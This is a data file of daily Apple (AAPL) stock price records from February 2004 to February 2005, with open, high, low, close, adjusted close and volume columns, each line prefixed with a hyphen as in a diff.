-2004-02-18,1.6557142734527588,1.6742857694625854,1.6464285850524902,1.6614285707473755,1.442187786102295,35408800.0,AAPL
-2004-02-19,1.666428565979004,1.6885714530944824,1.6007143259048462,1.6050000190734863,1.3932054042816162,80770200.0,AAPL
-2004-02-20,1.6071428060531616,1.60785710811615,1.5864285230636597,1.600000023841858,1.3888654708862305,69400800.0,AAPL
-2004-02-23,1.5957143306732178,1.604285717010498,1.5635714530944824,1.5850000381469727,1.3758443593978882,48519800.0,AAPL
-2004-02-24,1.5814285278320312,1.6242856979370117,1.5714285373687744,1.5971428155899048,1.386385202407837,64764000.0,AAPL
-2004-02-25,1.591428518295288,1.6357142925262451,1.5864285230636597,1.6292856931686401,1.414286732673645,69069000.0,AAPL
-2004-02-26,1.6342856884002686,1.6557142734527588,1.6285713911056519,1.645714282989502,1.4285471439361572,49602000.0,AAPL
-2004-02-27,1.6399999856948853,1.7157143354415894,1.639285683631897,1.708571434020996,1.483109951019287,117209400.0,AAPL
-2004-03-01,1.7214285135269165,1.735714316368103,1.7050000429153442,1.7157143354415894,1.4893101453781128,80420200.0,AAPL
-2004-03-02,1.7142857313156128,1.7214285135269165,1.697857141494751,1.7007142305374146,1.4762892723083496,64171800.0,AAPL
-2004-03-03,1.6857142448425293,1.7278571128845215,1.6857142448425293,1.708571434020996,1.483109951019287,56282800.0,AAPL
-2004-03-04,1.7092857360839844,1.8014285564422607,1.7078571319580078,1.7971428632736206,1.5599935054779053,165055800.0,AAPL
-2004-03-05,1.7821428775787354,1.9635714292526245,1.7785714864730835,1.909999966621399,1.6579580307006836,385149800.0,AAPL
-2004-03-08,1.9014285802841187,1.9135714769363403,1.8428571224212646,1.8571428060531616,1.612075924873352,130718000.0,AAPL
-2004-03-09,1.850000023841858,1.9450000524520874,1.8392857313156128,1.9357142448425293,1.6802788972854614,154590800.0,AAPL
-2004-03-10,1.9314285516738892,2.009999990463257,1.9242857694625854,1.9771428108215332,1.7162408828735352,251741000.0,AAPL
-2004-03-11,1.947857141494751,2.002857208251953,1.934999942779541,1.9392857551574707,1.683379054069519,148962800.0,AAPL
-2004-03-12,1.9514285326004028,1.9842857122421265,1.9407142400741577,1.968571424484253,1.708800196647644,82306000.0,AAPL
-2004-03-15,1.9307142496109009,1.9535714387893677,1.8757143020629883,1.889285683631897,1.639977216720581,120429400.0,AAPL
-2004-03-16,1.8964285850524902,1.9007142782211304,1.8135714530944824,1.8442857265472412,1.600915551185608,151358200.0,AAPL
-2004-03-17,1.854285717010498,1.8842856884002686,1.841428518295288,1.8707143068313599,1.6238560676574707,102858000.0,AAPL
-2004-03-18,1.8528571128845215,1.8614286184310913,1.8278571367263794,1.833571434020996,1.5916147232055664,80270400.0,AAPL
-2004-03-19,1.8257142305374146,1.9242857694625854,1.8242857456207275,1.8471428155899048,1.6033952236175537,102144000.0,AAPL
-2004-03-22,1.8121428489685059,1.8692857027053833,1.8035714626312256,1.8471428155899048,1.6033952236175537,104757800.0,AAPL
-2004-03-23,1.8485714197158813,1.8571428060531616,1.8014285564422607,1.8064285516738892,1.5680537223815918,96378800.0,AAPL
-2004-03-24,1.8049999475479126,1.8392857313156128,1.8049999475479126,1.8214285373687744,1.5810744762420654,107053800.0,AAPL
-2004-03-25,1.867142915725708,1.9221428632736206,1.8492857217788696,1.9192856550216675,1.6660186052322388,141611400.0,AAPL
-2004-03-26,1.9285714626312256,1.954285740852356,1.9221428632736206,1.9314285516738892,1.6765586137771606,104973400.0,AAPL
-2004-03-29,1.9550000429153442,1.9992856979370117,1.9428571462631226,1.993571400642395,1.730501413345337,87682000.0,AAPL
-2004-03-30,1.981428623199463,1.9964286088943481,1.9528571367263794,1.9942857027053833,1.731121301651001,89919200.0,AAPL
-2004-03-31,1.9942857027053833,1.9985713958740234,1.9249999523162842,1.9314285516738892,1.6765586137771606,97693400.0,AAPL
-2004-04-01,1.920714259147644,1.947857141494751,1.9014285802841187,1.9364285469055176,1.6808990240097046,79583000.0,AAPL
-2004-04-02,1.9821428060531616,1.9950000047683716,1.9450000524520874,1.9642857313156128,1.7050800323486328,68619600.0,AAPL
-2004-04-05,1.9628571271896362,2.026428461074829,1.9600000381469727,2.022857189178467,1.755922794342041,96418000.0,AAPL
-2004-04-06,1.979285717010498,2.010714292526245,1.9592857360839844,1.9878571033477783,1.725541114807129,64498000.0,AAPL
-2004-04-07,1.9721428155899048,1.9785714149475098,1.9228571653366089,1.9507142305374146,1.693299651145935,63779800.0,AAPL
-2004-04-08,1.9914286136627197,2.0,1.9428571462631226,1.966428518295288,1.7069405317306519,60229400.0,AAPL
-2004-04-12,1.9642857313156128,2.0071427822113037,1.9635714292526245,2.002857208251953,1.738561987876892,57635200.0,AAPL
-2004-04-13,1.9985713958740234,2.002142906188965,1.9171428680419922,1.9235714673995972,1.6697382926940918,109099200.0,AAPL
-2004-04-14,1.909999966621399,1.933571457862854,1.8792856931686401,1.9028571844100952,1.6517579555511475,159933200.0,AAPL
-2004-04-15,2.0585713386535645,2.1128571033477783,2.0114285945892334,2.0928571224212646,1.8166850805282593,440361600.0,AAPL
-2004-04-16,2.0821428298950195,2.093571424484253,2.0357143878936768,2.0842857360839844,1.809244990348816,100732800.0,AAPL
-2004-04-19,2.0085713863372803,2.0535714626312256,1.9878571033477783,2.0250000953674316,1.7577825784683228,178088400.0,AAPL
-2004-04-20,2.015000104904175,2.0292856693267822,1.968571424484253,1.9807143211364746,1.7193410396575928,88629800.0,AAPL
-2004-04-21,1.9714285135269165,2.0085713863372803,1.9550000429153442,1.9807143211364746,1.7193410396575928,81468800.0,AAPL
-2004-04-22,1.968571424484253,2.01285719871521,1.9364285469055176,1.9842857122421265,1.7224409580230713,86146200.0,AAPL
-2004-04-23,1.9785714149475098,2.0,1.9321428537368774,1.9785714149475098,1.7174807786941528,78957200.0,AAPL
-2004-04-26,1.9700000286102295,1.9742857217788696,1.9285714626312256,1.9378571510314941,1.6821390390396118,57782200.0,AAPL
-2004-04-27,1.9457142353057861,1.9600000381469727,1.906428575515747,1.9242857694625854,1.670358657836914,70966000.0,AAPL
-2004-04-28,1.9157142639160156,1.9292857646942139,1.881428599357605,1.889285683631897,1.639977216720581,57792000.0,AAPL
-2004-04-29,1.889285683631897,1.9285714626312256,1.8557143211364746,1.9121428728103638,1.659818410873413,115197600.0,AAPL
-2004-04-30,1.9078571796417236,1.9257142543792725,1.8207142353057861,1.841428518295288,1.598435401916504,116625600.0,AAPL
-2004-05-03,1.8571428060531616,1.8807142972946167,1.8385714292526245,1.86214280128479,1.616416335105896,74408600.0,AAPL
-2004-05-04,1.8550000190734863,1.8964285850524902,1.8214285373687744,1.867142915725708,1.6207565069198608,69995800.0,AAPL
-2004-05-05,1.8714286088943481,1.9107142686843872,1.854285717010498,1.9035714864730835,1.6523776054382324,59526600.0,AAPL
-2004-05-06,1.8857142925262451,1.9107142686843872,1.850000023841858,1.8985713720321655,1.648037314414978,65889600.0,AAPL
-2004-05-07,1.8964285850524902,1.9692857265472412,1.8964285850524902,1.9049999713897705,1.65361750125885,104759200.0,AAPL
-2004-05-10,1.8764286041259766,1.899999976158142,1.8528571128845215,1.8771429061889648,1.629436731338501,62494600.0,AAPL
-2004-05-11,1.8857142925262451,1.9421428442001343,1.8857142925262451,1.9385714530944824,1.6827592849731445,76293000.0,AAPL
-2004-05-12,1.9135714769363403,1.9528571367263794,1.8742856979370117,1.9500000476837158,1.692679524421692,61355000.0,AAPL
-2004-05-13,1.9357142448425293,1.9800000190734863,1.9214285612106323,1.9421428442001343,1.685858964920044,57463000.0,AAPL
-2004-05-14,1.9464285373687744,1.9514285326004028,1.889285683631897,1.9328571557998657,1.677798867225647,64450400.0,AAPL
-2004-05-17,1.9071428775787354,1.9328571557998657,1.882857084274292,1.9028571844100952,1.6517579555511475,75111400.0,AAPL
-2004-05-18,1.9264285564422607,1.9492857456207275,1.914285659790039,1.9328571557998657,1.677798867225647,51515800.0,AAPL
-2004-05-19,1.9571428298950195,1.9642857313156128,1.8871428966522217,1.8907142877578735,1.6412171125411987,93898000.0,AAPL
-2004-05-20,1.902142882347107,1.9285714626312256,1.8907142877578735,1.9078571796417236,1.6560981273651123,49074200.0,AAPL
-2004-05-21,1.9214285612106323,1.9428571462631226,1.9092856645584106,1.9364285469055176,1.6808990240097046,44973600.0,AAPL
-2004-05-24,1.9492857456207275,1.9928570985794067,1.9364285469055176,1.9528571367263794,1.695159912109375,58900800.0,AAPL
-2004-05-25,1.9642857313156128,2.036428689956665,1.9492857456207275,2.0292856693267822,1.761502981185913,79994600.0,AAPL
-2004-05-26,2.023571491241455,2.0557143688201904,2.0,2.036428689956665,1.7677034139633179,80542000.0,AAPL
-2004-05-27,2.0328571796417236,2.0428571701049805,1.98714280128479,2.0121428966522217,1.746622085571289,58993200.0,AAPL
-2004-05-28,2.005714178085327,2.0192856788635254,1.985714316368103,2.0042858123779297,1.7398018836975098,36429400.0,AAPL
-2004-06-01,1.9850000143051147,2.0142858028411865,1.9721428155899048,2.0042858123779297,1.7398018836975098,45533600.0,AAPL
-2004-06-02,2.002142906188965,2.083571434020996,1.985714316368103,2.0657143592834473,1.793124794960022,79678200.0,AAPL
-2004-06-03,2.0514285564422607,2.070714235305786,2.020714282989502,2.028571367263794,1.7608826160430908,62732600.0,AAPL
-2004-06-04,2.0399999618530273,2.0892856121063232,2.036428689956665,2.0557143688201904,1.784443974494934,99778000.0,AAPL
-2004-06-07,2.0742857456207275,2.1414284706115723,2.057857036590576,2.1292858123779297,1.8483073711395264,73969000.0,AAPL
-2004-06-08,2.1421427726745605,2.174285650253296,2.130714178085327,2.1678571701049805,1.8817883729934692,103905200.0,AAPL
-2004-06-09,2.1492857933044434,2.1935713291168213,2.142857074737549,2.1571428775787354,1.8724877834320068,87301200.0,AAPL
-2004-06-10,2.1571428775787354,2.2121429443359375,2.1571428775787354,2.195714235305786,1.9059698581695557,64394400.0,AAPL
-2004-06-14,2.1892857551574707,2.1914286613464355,2.107142925262451,2.151428461074829,1.8675274848937988,60996600.0,AAPL
-2004-06-15,2.1814286708831787,2.22428560256958,2.161428689956665,2.192142963409424,1.902869701385498,111158600.0,AAPL
-2004-06-16,2.190000057220459,2.380000114440918,2.1807143688201904,2.338571310043335,2.0299758911132812,227410400.0,AAPL
-2004-06-17,2.325714349746704,2.3664286136627197,2.3007142543792725,2.343571424484253,2.034316062927246,137830000.0,AAPL
-2004-06-18,2.332857131958008,2.3864285945892334,2.3164286613464355,2.3507142066955566,2.040515661239624,101563000.0,AAPL
-2004-06-21,2.3657143115997314,2.392857074737549,2.294285774230957,2.3092856407165527,2.004554271697998,97553400.0,AAPL
-2004-06-22,2.307142972946167,2.3635714054107666,2.3064286708831787,2.357142925262451,2.046096086502075,90127800.0,AAPL
-2004-06-23,2.357142925262451,2.416428565979004,2.34928560256958,2.4071428775787354,2.089498519897461,97717200.0,AAPL
-2004-06-24,2.393571376800537,2.4071428775787354,2.3557143211364746,2.369999885559082,2.0572566986083984,63128800.0,AAPL
-2004-06-25,2.36214280128479,2.4071428775787354,2.357142925262451,2.4071428775787354,2.089498519897461,80857000.0,AAPL
-2004-06-28,2.4414286613464355,2.442142963409424,2.3007142543792725,2.320714235305786,2.0144741535186768,130274200.0,AAPL
-2004-06-29,2.2907142639160156,2.356428623199463,2.2435715198516846,2.3214285373687744,2.015094518661499,147638400.0,AAPL
-2004-06-30,2.325714349746704,2.3550000190734863,2.2778570652008057,2.3242857456207275,2.0175747871398926,93261000.0,AAPL
-2004-07-01,2.2928571701049805,2.319999933242798,2.278571367263794,2.307142972946167,2.0026941299438477,85485400.0,AAPL
-2004-07-02,2.177142858505249,2.227142810821533,2.1235713958740234,2.2200000286102295,1.9270507097244263,227670800.0,AAPL
-2004-07-06,2.2335715293884277,2.244285821914673,2.200000047683716,2.210714340209961,1.9189903736114502,87245200.0,AAPL
-2004-07-07,2.203571319580078,2.240000009536743,2.1521427631378174,2.1707143783569336,1.8842686414718628,99498000.0,AAPL
-2004-07-08,2.1521427631378174,2.1914286613464355,2.1392858028411865,2.1528570652008057,1.8687679767608643,58345000.0,AAPL
-2004-07-09,2.162142753601074,2.1785714626312256,2.1449999809265137,2.1449999809265137,1.8619481325149536,52215800.0,AAPL
-2004-07-12,2.1442856788635254,2.145714282989502,2.0664286613464355,2.0814285278320312,1.806765079498291,127905400.0,AAPL
-2004-07-13,2.0892856121063232,2.114285707473755,2.072857141494751,2.0871429443359375,1.8117252588272095,79044000.0,AAPL
-2004-07-14,2.0614285469055176,2.140714168548584,2.0528571605682373,2.1128571033477783,1.8340460062026978,208950000.0,AAPL
-2004-07-15,2.332857131958008,2.4021427631378174,2.2935714721679688,2.352142810821533,2.0417563915252686,441931000.0,AAPL
-2004-07-16,2.3428571224212646,2.351428508758545,2.294285774230957,2.299999952316284,1.9964934587478638,122095400.0,AAPL
-2004-07-19,2.286428689956665,2.3014285564422607,2.2614285945892334,2.283571481704712,1.9822335243225098,133292600.0,AAPL
-2004-07-20,2.2821428775787354,2.299999952316284,2.2535715103149414,2.299999952316284,1.9964934587478638,80936800.0,AAPL
-2004-07-21,2.3157143592834473,2.336428642272949,2.2385714054107666,2.2585713863372803,1.9605321884155273,75314400.0,AAPL
-2004-07-22,2.232142925262451,2.2664284706115723,2.218571424484253,2.26285719871521,1.964252233505249,83529600.0,AAPL
-2004-07-23,2.252142906188965,2.267857074737549,2.177142858505249,2.192857027053833,1.903489589691162,68392800.0,AAPL
-2004-07-26,2.203571319580078,2.2464284896850586,2.1985714435577393,2.2328572273254395,1.9382115602493286,98483000.0,AAPL
-2004-07-27,2.2714285850524902,2.3392856121063232,2.255000114440918,2.3164286613464355,2.0107545852661133,106251600.0,AAPL
-2004-07-28,2.307857036590576,2.315000057220459,2.2257142066955566,2.305000066757202,2.000833511352539,71262800.0,AAPL
-2004-07-29,2.3192856311798096,2.344285726547241,2.2950000762939453,2.3314285278320312,2.023775577545166,55539400.0,AAPL
-2004-07-30,2.3321428298950195,2.357142925262451,2.2857143878936768,2.309999942779541,2.005173444747925,60755800.0,AAPL
-2004-08-02,2.227142810821533,2.299999952316284,2.223571538925171,2.255714178085327,1.9580522775650024,91273000.0,AAPL
-2004-08-03,2.2464284896850586,2.265714168548584,2.2249999046325684,2.234999895095825,1.9400714635849,52907400.0,AAPL
-2004-08-04,2.2278571128845215,2.294285774230957,2.226428508758545,2.270714282989502,1.9710726737976074,69122200.0,AAPL
-2004-08-05,2.2721428871154785,2.307142972946167,2.232142925262451,2.242142915725708,1.946271300315857,61125400.0,AAPL
-2004-08-06,2.2071428298950195,2.221428632736206,2.1214284896850586,2.127142906188965,1.8464466333389282,123072600.0,AAPL
-2004-08-09,2.1321427822113037,2.174999952316284,2.1292858123779297,2.164285659790039,1.8786883354187012,72711800.0,AAPL
-2004-08-10,2.1707143783569336,2.252857208251953,2.1678571701049805,2.2514286041259766,1.954331874847412,87759000.0,AAPL
-2004-08-11,2.221428632736206,2.223571538925171,2.161428689956665,2.2149999141693115,1.9227104187011719,80598000.0,AAPL
-2004-08-12,2.174999952316284,2.203571319580078,2.1628570556640625,2.169285774230957,1.883028507232666,56550200.0,AAPL
-2004-08-13,2.1857142448425293,2.234285831451416,2.171428680419922,2.202857255935669,1.9121700525283813,82012000.0,AAPL
-2004-08-16,2.2142856121063232,2.265714168548584,2.1885714530944824,2.1985714435577393,1.9084497690200806,108918600.0,AAPL
-2004-08-17,2.1842856407165527,2.223571538925171,2.1678571701049805,2.2049999237060547,1.9140303134918213,80754800.0,AAPL
-2004-08-18,2.179285764694214,2.2750000953674316,2.1778571605682373,2.2671427726745605,1.9679723978042603,91163800.0,AAPL
-2004-08-19,2.2507143020629883,2.27571439743042,2.1685714721679688,2.1935713291168213,1.9041097164154053,97230000.0,AAPL
-2004-08-20,2.1935713291168213,2.213571310043335,2.1778571605682373,2.200000047683716,1.9096895456314087,79195200.0,AAPL
-2004-08-23,2.2042856216430664,2.2335715293884277,2.1857142448425293,2.2200000286102295,1.9270507097244263,63665000.0,AAPL
-2004-08-24,2.2328572273254395,2.2821428775787354,2.2278571128845215,2.2821428775787354,1.980993628501892,93534000.0,AAPL
-2004-08-25,2.276428461074829,2.3678572177886963,2.2664284706115723,2.3607141971588135,2.0491960048675537,126404600.0,AAPL
-2004-08-26,2.359999895095825,2.51285719871521,2.338571310043335,2.4757142066955566,2.1490209102630615,238964600.0,AAPL
-2004-08-27,2.477142810821533,2.4828572273254395,2.4285714626312256,2.453571319580078,2.129800796508789,97203400.0,AAPL
-2004-08-30,2.4285714626312256,2.4800000190734863,2.4257142543792725,2.437142848968506,2.115539073944092,54535600.0,AAPL
-2004-08-31,2.4335713386535645,2.4964284896850586,2.4285714626312256,2.463571310043335,2.1384809017181396,94140200.0,AAPL
-2004-09-01,2.450000047683716,2.570714235305786,2.442142963409424,2.5614285469055176,2.2234249114990234,128931600.0,AAPL
-2004-09-02,2.5357143878936768,2.557857036590576,2.4878571033477783,2.547142744064331,2.211024284362793,101581200.0,AAPL
-2004-09-03,2.5007143020629883,2.5657143592834473,2.5007143020629883,2.5164284706115723,2.1843628883361816,73367000.0,AAPL
-2004-09-07,2.528571367263794,2.5850000381469727,2.5164284706115723,2.554285764694214,2.217223882675171,75489400.0,AAPL
-2004-09-08,2.549999952316284,2.61214280128479,2.5485713481903076,2.596428632736206,2.2538058757781982,85881600.0,AAPL
-2004-09-09,2.578571319580078,2.5928571224212646,2.5199999809265137,2.549999952316284,2.2135040760040283,115334800.0,AAPL
-2004-09-10,2.547142744064331,2.587857246398926,2.5328571796417236,2.562142848968506,2.2240445613861084,82003600.0,AAPL
-2004-09-13,2.562857151031494,2.5764286518096924,2.522857189178467,2.542142868041992,2.206683874130249,70494200.0,AAPL
-2004-09-14,2.5171427726745605,2.539285659790039,2.484285831451416,2.5350000858306885,2.200484037399292,63705600.0,AAPL
-2004-09-15,2.52571439743042,2.5342857837677,2.4857141971588135,2.5142858028411865,2.182502508163452,58167200.0,AAPL
-2004-09-16,2.5142858028411865,2.6257143020629883,2.505714178085327,2.596428632736206,2.2538058757781982,125479200.0,AAPL
-2004-09-17,2.6107141971588135,2.6700000762939453,2.5999999046325684,2.6528570652008057,2.302788734436035,125577200.0,AAPL
-2004-09-20,2.6342856884002686,2.712857246398926,2.6335713863372803,2.6935713291168213,2.338129997253418,61250000.0,AAPL
-2004-09-21,2.6964285373687744,2.776428461074829,2.6757142543792725,2.7149999141693115,2.3567302227020264,96663000.0,AAPL
-2004-09-22,2.721428632736206,2.72428560256958,2.6292858123779297,2.6371428966522217,2.2891478538513184,100422000.0,AAPL
-2004-09-23,2.645714282989502,2.6785714626312256,2.63785719871521,2.662142753601074,2.3108484745025635,99351000.0,AAPL
-2004-09-24,2.674999952316284,2.7142856121063232,2.653571367263794,2.663571357727051,2.31208872795105,92372000.0,AAPL
-2004-09-27,2.6392858028411865,2.712857246398926,2.630714178085327,2.6807143688201904,2.3269693851470947,99379000.0,AAPL
-2004-09-28,2.6757142543792725,2.734999895095825,2.674999952316284,2.7171428203582764,2.358590841293335,88296600.0,AAPL
-2004-09-29,2.7092857360839844,2.77571439743042,2.7014286518096924,2.76285719871521,2.398273229598999,68377400.0,AAPL
-2004-09-30,2.7857143878936768,2.805000066757202,2.7464284896850586,2.767857074737549,2.4026129245758057,106253000.0,AAPL
-2004-10-01,2.794285774230957,2.799285650253296,2.755714178085327,2.7621428966522217,2.3976523876190186,116351200.0,AAPL
-2004-10-04,2.7985713481903076,2.7985713481903076,2.767857074737549,2.770714282989502,2.405092477798462,143521000.0,AAPL
-2004-10-05,2.7542858123779297,2.833571434020996,2.7428572177886963,2.812142848968506,2.4410548210144043,101540600.0,AAPL
-2004-10-06,2.8214285373687744,2.911428689956665,2.8192856311798096,2.9028570652008057,2.5197980403900146,111575800.0,AAPL
-2004-10-07,2.895714282989502,2.9235713481903076,2.8185713291168213,2.8299999237060547,2.4565556049346924,106537200.0,AAPL
-2004-10-08,2.825714349746704,2.8407142162323,2.7742857933044434,2.7899999618530273,2.4218339920043945,89807200.0,AAPL
-2004-10-11,2.7714285850524902,2.7899999618530273,2.7285714149475098,2.7564284801483154,2.3926925659179688,80967600.0,AAPL
-2004-10-12,2.75,2.755714178085327,2.6892857551574707,2.734999895095825,2.374091863632202,115047800.0,AAPL
-2004-10-13,2.776428461074829,2.8399999141693115,2.7671427726745605,2.8392856121063232,2.464616060256958,290752000.0,AAPL
-2004-10-14,3.0850000381469727,3.267857074737549,3.039285659790039,3.212857246398926,2.788891315460205,692106800.0,AAPL
-2004-10-15,3.205714225769043,3.257857084274292,3.156428575515747,3.25,2.8211331367492676,257782000.0,AAPL
-2004-10-18,3.192857027053833,3.4107143878936768,3.192857027053833,3.4107143878936768,2.960639238357544,300188000.0,AAPL
-2004-10-19,3.4357142448425293,3.453571319580078,3.3792858123779297,3.3871428966522217,2.940178394317627,200498200.0,AAPL
-2004-10-20,3.369999885559082,3.4000000953674316,3.3321428298950195,3.390714168548584,2.9432780742645264,151277000.0,AAPL
-2004-10-21,3.3914284706115723,3.437857151031494,3.382857084274292,3.424285650253296,2.9724199771881104,181126400.0,AAPL
-2004-10-22,3.395714282989502,3.4049999713897705,3.3585715293884277,3.3864285945892334,2.939558744430542,120766800.0,AAPL
-2004-10-25,3.3714284896850586,3.417142868041992,3.36214280128479,3.3964285850524902,2.9482383728027344,98161000.0,AAPL
-2004-10-26,3.3892858028411865,3.432142972946167,3.3550000190734863,3.4264285564422607,2.9742791652679443,148590400.0,AAPL
-2004-10-27,3.4649999141693115,3.6157143115997314,3.4407143592834473,3.5928571224212646,3.118746519088745,298373600.0,AAPL
-2004-10-28,3.569999933242798,3.7300000190734863,3.5357143878936768,3.7278571128845215,3.2359323501586914,216066200.0,AAPL
-2004-10-29,3.702857255935669,3.799999952316284,3.700000047683716,3.7428572177886963,3.248952865600586,202554800.0,AAPL
-2004-11-01,3.75,3.804285764694214,3.7171428203582764,3.7464284896850586,3.2520527839660645,150512600.0,AAPL
-2004-11-02,3.7428572177886963,3.8628571033477783,3.7428572177886963,3.8214285373687744,3.3171558380126953,182497000.0,AAPL
-2004-11-03,3.8835713863372803,4.007857322692871,3.856428623199463,3.950714349746704,3.4293813705444336,301043400.0,AAPL
-2004-11-04,3.9307143688201904,3.9678571224212646,3.8835713863372803,3.8892858028411865,3.37605881690979,232156400.0,AAPL
-2004-11-05,3.9185714721679688,3.9285714626312256,3.7171428203582764,3.908571481704712,3.3928003311157227,301261800.0,AAPL
-2004-11-08,3.8764286041259766,3.960714340209961,3.8471429347991943,3.8842856884002686,3.371717929840088,131730200.0,AAPL
-2004-11-09,3.8735713958740234,3.8964285850524902,3.812857151031494,3.8607141971588135,3.351257562637329,118941200.0,AAPL
-2004-11-10,3.8535714149475098,3.9564285278320312,3.8507142066955566,3.9107143878936768,3.3946592807769775,127169000.0,AAPL
-2004-11-11,3.924999952316284,3.9592857360839844,3.8735713958740234,3.950000047683716,3.428760528564453,101824800.0,AAPL
-2004-11-12,3.929285764694214,3.9778571128845215,3.917142868041992,3.9642856121063232,3.441161870956421,98925400.0,AAPL
-2004-11-15,3.942857027053833,3.961428642272949,3.8814284801483154,3.945714235305786,3.4250411987304688,94011400.0,AAPL
-2004-11-16,3.940000057220459,3.942857027053833,3.8914284706115723,3.924285650253296,3.406440258026123,73775800.0,AAPL
-2004-11-17,3.942142963409424,3.960714340209961,3.872857093811035,3.921428680419922,3.4039599895477295,99437800.0,AAPL
-2004-11-18,3.8785715103149414,3.960714340209961,3.877857208251953,3.9564285278320312,3.4343411922454834,114787400.0,AAPL
-2004-11-19,3.963571310043335,4.065000057220459,3.892857074737549,3.9407143592834473,3.420701742172241,191319800.0,AAPL
-2004-11-22,4.414285659790039,4.5714287757873535,4.135714054107666,4.382143020629883,3.803879737854004,642052600.0,AAPL
-2004-11-23,4.449999809265137,4.460714340209961,4.360714435577393,4.376428604125977,3.7989184856414795,227862600.0,AAPL
-2004-11-24,4.406428337097168,4.657142639160156,4.39642858505249,4.574999809265137,3.971285581588745,347697000.0,AAPL
-2004-11-26,4.6678571701049805,4.697143077850342,4.595714092254639,4.610714435577393,4.002288341522217,137536000.0,AAPL
-2004-11-29,4.925000190734863,4.969285488128662,4.815000057220459,4.888571262359619,4.243479251861572,428229200.0,AAPL
-2004-11-30,4.913571357727051,4.913571357727051,4.789285659790039,4.789285659790039,4.157295227050781,257129600.0,AAPL
-2004-12-01,4.8421430587768555,4.85357141494751,4.733571529388428,4.8421430587768555,4.203178405761719,200138400.0,AAPL
-2004-12-02,4.723571300506592,4.778571605682373,4.6185712814331055,4.6578569412231445,4.043209075927734,246860600.0,AAPL
-2004-12-03,4.609285831451416,4.642857074737549,4.410714149475098,4.477142810821533,3.8863425254821777,309712200.0,AAPL
-2004-12-06,4.589285850524902,4.731428623199463,4.496428489685059,4.69857120513916,4.078551292419434,311980200.0,AAPL
-2004-12-07,4.709285736083984,4.766428470611572,4.468571662902832,4.492142677307129,3.8993635177612305,264224800.0,AAPL
-2004-12-08,4.505714416503906,4.602142810821533,4.432142734527588,4.519999980926514,3.9235446453094482,172975600.0,AAPL
-2004-12-09,4.486428737640381,4.599999904632568,4.4335713386535645,4.570714473724365,3.967564821243286,185375400.0,AAPL
-2004-12-10,4.644999980926514,4.717857360839844,4.621428489685059,4.653571605682373,4.03948974609375,193943400.0,AAPL
-2004-12-13,4.687142848968506,4.7071428298950195,4.614285945892334,4.636428356170654,4.024609088897705,98760200.0,AAPL
-2004-12-14,4.671428680419922,4.705714225769043,4.644285678863525,4.663571357727051,4.0481696128845215,103930400.0,AAPL
-2004-12-15,4.659999847412109,4.675714492797852,4.6185712814331055,4.661428451538086,4.0463104248046875,99590400.0,AAPL
-2004-12-16,4.724999904632568,4.8214287757873535,4.717857360839844,4.757143020629883,4.129395484924316,281528800.0,AAPL
-2004-12-17,4.774285793304443,4.788571357727051,4.635714054107666,4.6421427726745605,4.029568672180176,195874000.0,AAPL
-2004-12-20,4.67642879486084,4.714285850524902,4.411428451538086,4.480000019073486,3.888822555541992,292031600.0,AAPL
-2004-12-21,4.539999961853027,4.554999828338623,4.400000095367432,4.549285888671875,3.9489660263061523,266103600.0,AAPL
-2004-12-22,4.54714298248291,4.597142696380615,4.528571605682373,4.5535712242126465,3.9526877403259277,141457400.0,AAPL
-2004-12-23,4.5535712242126465,4.589285850524902,4.5428571701049805,4.572143077850342,3.9688074588775635,61482400.0,AAPL
-2004-12-27,4.628571510314941,4.653571605682373,4.491428375244141,4.511428356170654,3.916104555130005,139872600.0,AAPL
-2004-12-28,4.52142858505249,4.589285850524902,4.432142734527588,4.584285736083984,3.979346990585327,152938800.0,AAPL
-2004-12-29,4.557857036590576,4.641428470611572,4.540714263916016,4.6028571128845215,3.9954674243927,112390600.0,AAPL
-2004-12-30,4.62928581237793,4.644999980926514,4.5871429443359375,4.628571510314941,4.017789363861084,86335200.0,AAPL
-2004-12-31,4.635000228881836,4.642857074737549,4.57357120513916,4.599999904632568,3.9929869174957275,69647200.0,AAPL
-2005-01-03,4.627142906188965,4.65071439743042,4.471428394317627,4.520714282989502,3.9241650104522705,172998000.0,AAPL
-2005-01-04,4.5564284324646,4.67642879486084,4.497857093811035,4.567142963409424,3.9644670486450195,274202600.0,AAPL
-2005-01-05,4.604285717010498,4.660714149475098,4.574999809265137,4.607142925262451,3.999188184738159,170108400.0,AAPL
-2005-01-06,4.619285583496094,4.636428356170654,4.523571491241455,4.610714435577393,4.002288341522217,176388800.0,AAPL
-2005-01-07,4.642857074737549,4.973571300506592,4.625,4.9464287757873535,4.293700695037842,556862600.0,AAPL
-2005-01-10,4.987857341766357,5.050000190734863,4.848571300506592,4.925714492797852,4.275721549987793,431327400.0,AAPL
-2005-01-11,4.875,4.939285755157471,4.581428527832031,4.611428737640381,4.002909183502197,652906800.0,AAPL
-2005-01-12,4.675000190734863,4.7071428298950195,4.52142858505249,4.675714492797852,4.05871057510376,479925600.0,AAPL
-2005-01-13,5.264999866485596,5.315714359283447,4.980714321136475,4.985714435577393,4.327803134918213,791179200.0,AAPL
-2005-01-14,5.017857074737549,5.122857093811035,4.942142963409424,5.014285564422607,4.352604866027832,442685600.0,AAPL
-2005-01-18,4.989285945892334,5.050000190734863,4.839285850524902,5.046428680419922,4.380505084991455,251615000.0,AAPL
-2005-01-19,5.034999847412109,5.104285717010498,4.982142925262451,4.991428375244141,4.332762718200684,187973800.0,AAPL
-2005-01-20,4.974999904632568,5.090714454650879,4.9621429443359375,5.0328569412231445,4.368725776672363,228730600.0,AAPL
-2005-01-21,5.093571662902832,5.114285945892334,5.0,5.034999847412109,4.370584964752197,227833200.0,AAPL
-2005-01-24,5.070000171661377,5.127142906188965,5.039285659790039,5.054285526275635,4.387327194213867,210407400.0,AAPL
-2005-01-25,5.0978569984436035,5.20285701751709,5.067142963409424,5.14642858505249,4.467309474945068,242307800.0,AAPL
-2005-01-26,5.190000057220459,5.1964287757873535,5.0871429443359375,5.160714149475098,4.479709625244141,184874200.0,AAPL
-2005-01-27,5.154285907745361,5.208571434020996,5.110714435577393,5.188571453094482,4.5038909912109375,124056800.0,AAPL
-2005-01-28,5.187142848968506,5.284285545349121,5.174285888671875,5.284285545349121,4.58697509765625,200403000.0,AAPL
-2005-01-31,5.327142715454102,5.563571453094482,5.322143077850342,5.492856979370117,4.768024921417236,420274400.0,AAPL
-2005-02-01,5.503571510314941,5.554999828338623,5.46999979019165,5.5378570556640625,4.8070855140686035,169598800.0,AAPL
-2005-02-02,5.567857265472412,5.707857131958008,5.549285888671875,5.687857151031494,4.937292098999023,255015600.0,AAPL
-2005-02-03,5.650000095367432,5.673571586608887,5.523571491241455,5.557857036590576,4.824446201324463,182912800.0,AAPL
